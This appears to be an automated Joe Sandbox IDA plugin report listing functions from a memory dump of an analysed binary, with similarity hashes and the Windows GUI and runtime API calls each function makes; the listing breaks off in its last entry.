Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Color$DrawIconText
String ID:
API String ID: 2759393849-0
Opcode ID: e677cbff5e090324096cb6b93ae505142edfcf02309fb6895a22028d40e83eb8
Instruction ID: 7c0661f7e8cff6c8c5695d64abed9c0038622e50d71ee2697e3021e123e4ccb9
Opcode Fuzzy Hash: e677cbff5e090324096cb6b93ae505142edfcf02309fb6895a22028d40e83eb8
Instruction Fuzzy Hash: C1E12A71A00619DFCB04CFA8C888AADBBB6FF48314F158169E819EB295C774ED45CF90

Function 008C09CE Relevance: 6.3, APIs: 4, Instructions: 320windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008C09D5

Part of subcall function 008BB764: GetParent.USER32(?), ref: 008BB773
Part of subcall function 008BB764: SendMessageA.USER32(?,00000000), ref: 008BB7A2

Part of subcall function 00885272: GetWindowLongA.USER32(00000000,000000EC), ref: 0088527F

Part of subcall function 00880497: GetParent.USER32(00000000), ref: 008804C3

Part of subcall function 0087A1C3: ClientToScreen.USER32(?,?), ref: 0087A1D2
Part of subcall function 0087A1C3: ClientToScreen.USER32(?,?), ref: 0087A1DF

SetRectEmpty.USER32(00000000), ref: 008C0C20
GetParent.USER32(00000000), ref: 008C0D40
SendMessageA.USER32(00000000,00000010,00000000,00000000), ref: 008C0D64

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Parent$ClientMessageScreenSend$EmptyH_prolog3_LongRectWindow
String ID:
API String ID: 4160589918-0
Opcode ID: cb9fe494a2606da21047919a1134e8564ac09b6ac5493ffe5626a88ff38c729f
Instruction ID: 7dbddeff5ad3b6fbe54cac0f50d9306a82dda8ad8e02e6dcb27046b2d709887a
Opcode Fuzzy Hash: cb9fe494a2606da21047919a1134e8564ac09b6ac5493ffe5626a88ff38c729f
Instruction Fuzzy Hash: E1C13471A00619DBCF14DFA8C894BAEBBB5FF48350F154169E906EB291DB70AD42CF90

Function 008CA4C0 Relevance: 6.3, APIs: 4, Instructions: 283COMMON

Download Yara Rule

APIs

IsRectEmpty.USER32(?), ref: 008CA4DF
IsRectEmpty.USER32(?), ref: 008CA804
IsRectEmpty.USER32(?), ref: 008CA81F
RedrawWindow.USER32(00000000,?,00000000,00000105), ref: 008CA83D

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: EmptyRect$RedrawWindow
String ID:
API String ID: 2096321748-0
Opcode ID: e0fa9180c102b8c1d8e25a13d236b5ac8da7008351dc992e8c65e23df59553bb
Instruction ID: e0e0f3ca2c6599554cdbaedf2ab63211b13d4ba2d328645a93d93c33a7b95ddf
Opcode Fuzzy Hash: e0fa9180c102b8c1d8e25a13d236b5ac8da7008351dc992e8c65e23df59553bb
Instruction Fuzzy Hash: 7EB13771A006198FCF08DF68C984BAA77B5FF48709F154179ED15EB252DB30A941CFA2

Function 008BE9FD Relevance: 6.3, APIs: 4, Instructions: 269COMMON

Download Yara Rule

APIs

IsRectEmpty.USER32(?), ref: 008BEA53
SetRectEmpty.USER32(?), ref: 008BEAA3
IsRectEmpty.USER32(?), ref: 008BEB0B

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: EmptyRect
String ID:
API String ID: 2270935405-0
Opcode ID: c97f4cb83386d6e5716a1a243e7ca88f18c413521b24e9996c8b6702882ea951
Instruction ID: 1e9efb4ab079a7b49a96af70abb0dbf76a7a360ac9350394061f4a5c00ba0460
Opcode Fuzzy Hash: c97f4cb83386d6e5716a1a243e7ca88f18c413521b24e9996c8b6702882ea951
Instruction Fuzzy Hash: A1A1F570A00606DFCF14CF78C995AEDBBE5FB48314B088279E91ADB355DB30A944CB90

Function 0087476D Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

DrawThemeBackground.UXTHEME(?,00000000,00000000,00000000,?,00000000,009F150C,009F0C6C), ref: 008747BC

Part of subcall function 008EE12A: GetParent.USER32(08788356), ref: 008EE166
Part of subcall function 008EE12A: IsRectEmpty.USER32(?), ref: 008EE18B

GetSysColorBrush.USER32(00000004), ref: 00874850
FillRect.USER32(?,?,00000000), ref: 0087485C
InflateRect.USER32(?,00000000,000000FF), ref: 008748AA

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$BackgroundBrushColorDrawEmptyFillInflateParentTheme
String ID:
API String ID: 3155620594-0
Opcode ID: 061c0ae7b296052d5271fa16aa553c98b815a75515536c4c87d00041a04fb857
Instruction ID: 71772a82c1b04a772c9ac73d0f050568d5671839cb0e74c760d8b47beaba8d49
Opcode Fuzzy Hash: 061c0ae7b296052d5271fa16aa553c98b815a75515536c4c87d00041a04fb857
Instruction Fuzzy Hash: B1515BB1A0024AAFCF15DF98C8869BF77B9FF45314B009429FA15EB245DB71ED018B91

Function 008CC927 Relevance: 6.1, APIs: 4, Instructions: 145windowCOMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 008CC9D8
GetWindowRect.USER32(?,?), ref: 008CC9E5
SendMessageA.USER32(?,0000000B,00000000,00000000), ref: 008CCA1E
SendMessageA.USER32(?,0000000B,00000001,00000000), ref: 008CCAB6

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MessageRectSend$EmptyWindow
String ID:
API String ID: 1914275016-0
Opcode ID: 04ea44f976c9dc1e92a9f5ab184e78f6cc691263bdcd7e3e64feb5564336ee70
Instruction ID: 52f883bfc1534b65a1101180cba04bc483d3f83a6e1f378ae48957e7d7ed6092
Opcode Fuzzy Hash: 04ea44f976c9dc1e92a9f5ab184e78f6cc691263bdcd7e3e64feb5564336ee70
Instruction Fuzzy Hash: FE514E71A10225EFCF049F65C898BBE7BB9FF48710F144069E94AEB251CB709D418F91

Function 00874561 Relevance: 6.1, APIs: 4, Instructions: 128COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00874568
CreateRectRgnIndirect.GDI32(?), ref: 008745FC

Part of subcall function 0087A8BD: SelectClipRgn.GDI32(00000002,00000000), ref: 0087A8E1
Part of subcall function 0087A8BD: SelectClipRgn.GDI32(?,00000000), ref: 0087A8F9

GetClientRect.USER32(?,?), ref: 0087462A
MapWindowPoints.USER32(?,?,?,00000002), ref: 00874684

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ClipRectSelect$ClientCreateH_prolog3_IndirectPointsWindow
String ID:
API String ID: 280438141-0
Opcode ID: ee528b5d0dde993a120a3c58bdc85e0ea1efaeb22940ca3c90a4390809e753e5
Instruction ID: ce7a08f25e0848f68621fb59112b1b9825781e1497d187d14ddd70e4d8ffd49b
Opcode Fuzzy Hash: ee528b5d0dde993a120a3c58bdc85e0ea1efaeb22940ca3c90a4390809e753e5
Instruction Fuzzy Hash: 3D513974A10229EBDF05DF94C888AADBBB5FF59700F14815AF805AB350DB74AE05CF91

Function 0088099C Relevance: 6.1, APIs: 4, Instructions: 111windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0088562B: GetWindowLongA.USER32(00000000,000000F0), ref: 00885638

GetClientRect.USER32(00000000,?), ref: 00880A0B
IsMenu.USER32(?), ref: 00880A48
AdjustWindowRectEx.USER32(?,00000000,00000000), ref: 00880A5B
GetClientRect.USER32(00000000,?), ref: 00880AA8

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$ClientWindow$AdjustLongMenu
String ID:
API String ID: 3435883281-0
Opcode ID: e81726ecf223f34858f8b95f1765cacb9a0f5b7c833ca5a9ef69451abe78786a
Instruction ID: 5e061ff4f77416cce2743c3459b4480645f03ccfec2c3e03bb01284748cdb492
Opcode Fuzzy Hash: e81726ecf223f34858f8b95f1765cacb9a0f5b7c833ca5a9ef69451abe78786a
Instruction Fuzzy Hash: F8317E71A00319AFDB14EFA9C999A7FBBB9FF98710B154059E901E7250EB709E00CB91

Function 008FE201 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(00000000), ref: 008FE20C
GetClientRect.USER32(00000000,00000000), ref: 008FE22C
GetParent.USER32(00000000), ref: 008FE24B
OffsetRect.USER32(00000000,00000000,00000000), ref: 008FE2CD

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$ClientEmptyOffsetParent
String ID:
API String ID: 3819956977-0
Opcode ID: 3cc9575d0c7cde65d1d59baf8cf5c1700b172eebbe475252ef1f282fd289e8ff
Instruction ID: e61bfca790c6b2ea17a2f057dae793d9d1e1e75bb996809b30cd3b9bc5711462
Opcode Fuzzy Hash: 3cc9575d0c7cde65d1d59baf8cf5c1700b172eebbe475252ef1f282fd289e8ff
Instruction Fuzzy Hash: 3131A4B1200606AFDB54DF69D889A3AB7A9FF44720714C21EF509CB2A1FB31EC10CB91

Function 0093C14E Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0093C1C2
EqualRect.USER32(?,?), ref: 0093C1ED
BeginDeferWindowPos.USER32(00000000), ref: 0093C1FA
EndDeferWindowPos.USER32(00000000), ref: 0093C220

Part of subcall function 008CF427: GetWindowRect.USER32(00000000,?), ref: 008CF43B
Part of subcall function 008CF427: GetParent.USER32(00000000), ref: 008CF491
Part of subcall function 008CF427: GetParent.USER32(00000000), ref: 008CF4A5

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$Rect$DeferParent$BeginEqual
String ID:
API String ID: 2054780619-0
Opcode ID: 0edacb10295afd74e6db03f5b1df3d70b0a9ae68d7266b220f26d585a7b1fa25
Instruction ID: c9afcc693510307d3b68421ef16af2d3c5dcdec22d4f6e6370694228cdd4c0c0
Opcode Fuzzy Hash: 0edacb10295afd74e6db03f5b1df3d70b0a9ae68d7266b220f26d585a7b1fa25
Instruction Fuzzy Hash: 9C310AB1E10619EBCF01DFA5D984AEEBBB9FF49710F10416AE815B7211DB709A04CFA1

Function 008D034B Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 009340C4: __EH_prolog3_catch.LIBCMT ref: 009340CB

GetWindowRect.USER32(?,?), ref: 008D03B4

Part of subcall function 0087A87E: ScreenToClient.USER32(00000000,?), ref: 0087A88D
Part of subcall function 0087A87E: ScreenToClient.USER32(00000000,?), ref: 0087A89A

PtInRect.USER32(?,?,?), ref: 008D03CF

Part of subcall function 008D0AEF: KillTimer.USER32(?,0000EC13,?,?,008D03E0), ref: 008D0B7B

GetWindowRect.USER32(?,?), ref: 008D0408
PtInRect.USER32(?,?,?), ref: 008D0423

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$ClientScreenWindow$H_prolog3_catchKillTimer
String ID:
API String ID: 307328177-0
Opcode ID: 5c4e50aa6c7ee6835c5508dccd6c51a19a282d31a3a2a59e74310693516ecd30
Instruction ID: c036689a3e7e08ddc27f2678050bf176b33a8128ce4523564b168f0ad43648a2
Opcode Fuzzy Hash: 5c4e50aa6c7ee6835c5508dccd6c51a19a282d31a3a2a59e74310693516ecd30
Instruction Fuzzy Hash: 03311871A00219EBCF04DFA4C985AAEBBB9FF48700F14452AF805E7351DB319E119FA1

Function 0086C5C2 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

InflateRect.USER32(?,000000FF,000000FF), ref: 0086C5FB
InflateRect.USER32(?,000000FF,000000FF), ref: 0086C62D
InflateRect.USER32(?,?,?), ref: 0086C65E
InflateRect.USER32(?,00000001,00000001), ref: 0086C687

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: InflateRect
String ID:
API String ID: 2073123975-0
Opcode ID: 3ae13ebed5faf3ab2378f380285f2f151035e12455eb1e87b08032bae03f8b54
Instruction ID: 2dc1280d43735d28ea2caf959c0171f328e20c187d2a87febd9320d8e576245a
Opcode Fuzzy Hash: 3ae13ebed5faf3ab2378f380285f2f151035e12455eb1e87b08032bae03f8b54
Instruction Fuzzy Hash: 372173B2614649AFCF04FFA8CC49CAE3B5DFF84320B060665F511EB1E2CA35D9509B91

Function 00924966 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0092496D
__CxxThrowException@8.LIBVCRUNTIME ref: 009249A6
__EH_prolog3.LIBCMT ref: 009249B3
__cftof.LIBCMT ref: 00924A48

Part of subcall function 0091D6C3: __EH_prolog3.LIBCMT ref: 0091D6CA

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw__cftof
String ID:
API String ID: 465343851-0
Opcode ID: df041ca704174eeb3556974cea7d8fb862db2453e288be4bc6dc6cdada7edb25
Instruction ID: 23a701721a4046d7a664d9a980edc99515c3222bd7c52d11cfc27aa1da95523a
Opcode Fuzzy Hash: df041ca704174eeb3556974cea7d8fb862db2453e288be4bc6dc6cdada7edb25
Instruction Fuzzy Hash: E8319171900216ABDF15EFB8CC46BAF77A8FF04310F148929B526EB192DB34DA50DB91

Function 00874343 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0087437F
GetClientRect.USER32(?,?), ref: 00874392
GetParent.USER32(?), ref: 0087439B
MapWindowPoints.USER32(?,?,?,00000002), ref: 008743B3

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Parent$ClientPointsRectWindow
String ID:
API String ID: 1847894547-0
Opcode ID: ba69b2072adfae87e247cfffcb06140734d302cbae6a851f2e9307c0ce9f6404
Instruction ID: ded48e54ce742dedb8b8703a557b0821d3475c38d5fccc1e9e35d6997d2835b8
Opcode Fuzzy Hash: ba69b2072adfae87e247cfffcb06140734d302cbae6a851f2e9307c0ce9f6404
Instruction Fuzzy Hash: DC216D71910219AFCF05EFA8D8499AEBBB5FF09300B00456DF846AB211DBB1AE04DF91

Function 008825A8 Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 008825E2
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 0088260C
GetCapture.USER32 ref: 00882622
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00882631

Part of subcall function 008790DA: __CxxThrowException@8.LIBVCRUNTIME ref: 008790EE

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MessageSend$CaptureException@8Throw
String ID:
API String ID: 1331319163-0
Opcode ID: fb53841617a867749853df3672b09ac8ae4a106c6f203e813e1581836b040286
Instruction ID: 0e7adab9043207f370293e6e5ba6eab4b075259bac360668f8fd17892221334c
Opcode Fuzzy Hash: fb53841617a867749853df3672b09ac8ae4a106c6f203e813e1581836b040286
Instruction Fuzzy Hash: 8411867131020DBFEA112B65DCCDFBA7B6DFB48794F044024F6059B2A1DB619D10AB51

Function 008D83A9 Relevance: 6.1, APIs: 4, Instructions: 70timewindowCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,0000EC17), ref: 008D83BD
KillTimer.USER32(?,0000EC18), ref: 008D83CB
IsWindow.USER32(?), ref: 008D843B
PostMessageA.USER32(?,00000010,00000000,00000000), ref: 008D8462

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: KillTimer$MessagePostWindow
String ID:
API String ID: 3970157719-0
Opcode ID: e4da7c44a5ba06b354671b5b4f2ce768e78ac4e2ede44d2f582186fe9e3e98b7
Instruction ID: 82c4c89379f67fe16dd967068ddd3dcf1916f3e60d2f7295b59447b498f01373
Opcode Fuzzy Hash: e4da7c44a5ba06b354671b5b4f2ce768e78ac4e2ede44d2f582186fe9e3e98b7
Instruction Fuzzy Hash: 4521BE31700241EFEB04AB65CC99BADBBB6FB44710F1041AAE905EB3A1DF70AD01CB54

Function 008904F5 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 0089051D
CoTaskMemFree.OLE32(00000000,?,?,?,?,?,?,?,?,?,0088F4E1,?,?,?,?,0088DF32), ref: 008905AA

Memory Dump Source

